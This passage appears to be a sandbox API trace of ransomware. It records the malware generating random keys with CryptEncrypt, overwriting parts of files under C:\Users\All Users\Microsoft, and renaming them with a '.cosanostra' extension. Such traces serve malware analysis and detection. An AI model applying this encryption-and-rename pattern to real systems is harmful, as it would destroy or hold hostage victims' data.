pdwDataLen=0x2abf160*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf160*=0x30) returned 1 [0095.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf160 | out: pbBuffer=0x2abf160) returned 1 [0095.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf158*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf158*=0x30) returned 1 [0095.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf160 | out: pbBuffer=0x2abf160) returned 1 [0095.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf158*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf158*=0x30) returned 1 [0095.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.076] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf158 | out: pbBuffer=0x2abf158) returned 1 [0095.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf150*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf150*=0x30) returned 1 [0095.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.076] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf158 | out: pbBuffer=0x2abf158) returned 1 [0095.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf150*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf150*=0x30) returned 1 [0095.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.076] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf150 | out: pbBuffer=0x2abf150) returned 1 [0095.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf148*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf148*=0x30) returned 1 [0095.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.076] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf138 | out: pbBuffer=0x2abf138) returned 1 [0095.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf130*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf130*=0x30) returned 1 [0095.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\sql453A.tmp" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\sql453a.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.077] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf130 | out: pbBuffer=0x2abf130) returned 1 [0095.077] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf128*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf128*=0x30) returned 1 [0095.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\sql452A.tmp" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\sql452a.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.077] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf128 | out: pbBuffer=0x2abf128) returned 1 [0095.077] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf120*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf120*=0x30) returned 1 [0095.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.077] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf128 | out: pbBuffer=0x2abf128) returned 1 [0095.077] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf120*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf120*=0x30) returned 1 [0095.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.077] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf120 | out: pbBuffer=0x2abf120) returned 1 [0095.077] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf118*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf118*=0x30) returned 1 [0095.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.078] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf118 | out: pbBuffer=0x2abf118) returned 1 [0095.078] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf110*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf110*=0x30) returned 1 [0095.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.079] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf108 | out: pbBuffer=0x2abf108) returned 1 [0095.079] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf100*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf100*=0x30) returned 1 [0095.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.079] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned 81 [0095.079] StrStrW (lpFirst="cache.dat", lpSrch=".txt") returned 0x0 [0095.130] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.130] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0c4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf0c4*=0x2800, lpOverlapped=0x0) returned 1 [0095.131] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.131] WriteFile (in: hFile=0x180, lpBuffer=0x2abf104*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0c4, lpOverlapped=0x0 | out: lpBuffer=0x2abf104*, lpNumberOfBytesWritten=0x2abf0c4*=0x4, lpOverlapped=0x0) returned 1 [0095.282] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0c4*=0x30, lpOverlapped=0x0) returned 1 [0095.282] CloseHandle (hObject=0x180) returned 1 [0095.282] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.cosanostra") returned 92 [0095.282] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.cosanostra")) returned 1 [0095.283] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf108 | out: pbBuffer=0x2abf108) returned 1 [0095.283] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf100*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf100*=0x30) returned 1 [0095.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.284] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned 75 [0095.284] StrStrW (lpFirst="WWINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.327] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.327] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf0c4*=0x2800, lpOverlapped=0x0) returned 1 [0095.328] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.328] WriteFile (in: hFile=0x180, lpBuffer=0x2abf104*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0c4, lpOverlapped=0x0 | out: lpBuffer=0x2abf104*, lpNumberOfBytesWritten=0x2abf0c4*=0x4, lpOverlapped=0x0) returned 1 [0095.486] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0c4*=0x30, lpOverlapped=0x0) returned 1 [0095.486] CloseHandle (hObject=0x180) returned 1 [0095.487] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.cosanostra") returned 86 [0095.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.rest.trx_dll.cosanostra")) returned 1 [0095.488] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf100 | out: pbBuffer=0x2abf100) returned 1 [0095.488] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0f8*=0x30) returned 1 [0095.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.535] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned 74 [0095.535] StrStrW (lpFirst="STINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.688] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.688] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0bc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf0bc*=0x2800, lpOverlapped=0x0) returned 1 [0095.688] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.688] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf0fc*, lpNumberOfBytesWritten=0x2abf0bc*=0x4, lpOverlapped=0x0) returned 1 [0095.787] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0bc*=0x30, lpOverlapped=0x0) returned 1 [0095.787] CloseHandle (hObject=0x15c) returned 1 [0095.787] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.cosanostra") returned 85 [0095.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\stintl.dll.trx_dll.cosanostra")) returned 1 [0095.788] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf100 | out: pbBuffer=0x2abf100) returned 1 [0095.788] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0f8*=0x30) returned 1 [0095.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.789] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned 76 [0095.789] StrStrW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.792] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.792] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0bc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf0bc*=0x2800, lpOverlapped=0x0) returned 1 [0095.792] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.792] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf0fc*, lpNumberOfBytesWritten=0x2abf0bc*=0x4, lpOverlapped=0x0) returned 1 [0095.886] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0bc*=0x30, lpOverlapped=0x0) returned 1 [0095.886] CloseHandle (hObject=0x15c) returned 1 [0095.886] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.cosanostra") returned 87 [0095.886] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll.cosanostra")) returned 1 [0095.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0f8 | out: pbBuffer=0x2abf0f8) returned 1 [0095.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0f0*=0x30) returned 1 [0095.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.889] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned 76 [0095.889] StrStrW (lpFirst="MSOINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.913] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.913] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abf0b4*=0x2800, lpOverlapped=0x0) returned 1 [0095.913] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.913] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf0f4*, lpNumberOfBytesWritten=0x2abf0b4*=0x4, lpOverlapped=0x0) returned 1 [0095.919] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0b4*=0x30, lpOverlapped=0x0) returned 1 [0095.919] CloseHandle (hObject=0x15c) returned 1 [0095.919] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.cosanostra") returned 87 [0095.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll.cosanostra")) returned 1 [0095.920] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0f8 | out: pbBuffer=0x2abf0f8) returned 1 [0095.920] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0f0*=0x30) returned 1 [0095.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.920] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned 75 [0095.920] StrStrW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.965] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.965] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0b4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf0b4*=0x2800, lpOverlapped=0x0) returned 1 [0095.965] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.965] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf0f4*, lpNumberOfBytesWritten=0x2abf0b4*=0x4, lpOverlapped=0x0) returned 1 [0095.966] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0b4*=0x30, lpOverlapped=0x0) returned 1 [0095.966] CloseHandle (hObject=0x15c) returned 1 [0095.966] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.cosanostra") returned 86 [0095.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll.cosanostra")) returned 1 [0095.967] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0f0 | out: pbBuffer=0x2abf0f0) returned 1 [0095.967] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0e8*=0x30) returned 1 [0095.967] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All 